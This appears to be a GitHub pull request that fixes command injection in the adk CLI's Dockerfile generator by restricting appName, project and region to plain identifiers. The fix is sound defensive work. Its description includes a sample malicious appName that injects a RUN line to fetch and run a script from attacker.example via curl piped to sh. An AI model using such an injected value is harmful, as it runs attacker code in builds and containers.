fix(deploy): reject unsafe appName/project/region in generated Dockerfile - #604
Open
herdiyana256 wants to merge 1 commit into
Open
Conversation
…file createDockerFileContent interpolated options.appName, options.project, and options.region directly into the generated Dockerfile's ENV, COPY, and CMD instructions with no escaping. Since Dockerfile instructions are newline- delimited and the CMD line runs through /bin/sh at container start, a value containing a newline or shell metacharacters breaks out of its instruction: appName is derived by default from the basename of the agent path passed to `adk deploy cloud_run`/`adk deploy agent_engine` (only overridden by an explicit --app_name), so a maliciously-named agent directory or file — e.g. from a shared/cloned agent template a developer didn't author themselves — injects arbitrary Dockerfile instructions executed during `docker build` and/or arbitrary shell commands in the deployed container's CMD. Add assertSafeDockerfileToken, restricting these three values to a plain identifier (letters, digits, dot, dash, underscore) before they're ever embedded in the Dockerfile content, applied once in the shared createDockerFileContent so both deploy commands are covered. Confirmed by executing the function directly: a crafted appName previously produced a Dockerfile with a standalone injected RUN instruction; it's now rejected before any file is written.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
createDockerFileContent (dev/src/cli/deploy/deploy_utils.ts, shared by both
adk deploy cloud_runandadk deploy agent_engine) interpolatesoptions.appName,options.project, andoptions.regiondirectly into the generated Dockerfile'sENV,COPY, andCMDinstructions with no escaping.Dockerfile instructions are newline-delimited, and the generated
CMDline runs through/bin/sh -cat container start, so a value containing a newline or shell metacharacters breaks out of its instruction.appNameis derived by default from the basename of the agent path passed to the deploy command (path.parse(agentPath).name/path.basename(agentPath)), only overridden by an explicit--app_nameflag — so a maliciously-named agent directory or file (e.g. from a shared or cloned agent template a developer did not author themselves) injects arbitrary Dockerfile instructions executed duringdocker build, and/or arbitrary shell commands into the deployed container'sCMD.Confirmed by executing
createDockerFileContentdirectly: anappNameofx"\nRUN curl https://attacker.example/x.sh | sh\n#produced a Dockerfile containing thatRUNas its own standalone instruction.Fix: add
assertSafeDockerfileToken, restrictingappName/project/regionto a plain identifier (letters, digits, dot, dash, underscore) before they're embedded in the Dockerfile content, applied once at the top of the sharedcreateDockerFileContentso both deploy commands are covered by a single check. Existing valid values (project IDs, regions, agent names) are unaffected. Adds regression tests for the injection attempt and for values using dots/dashes/underscores.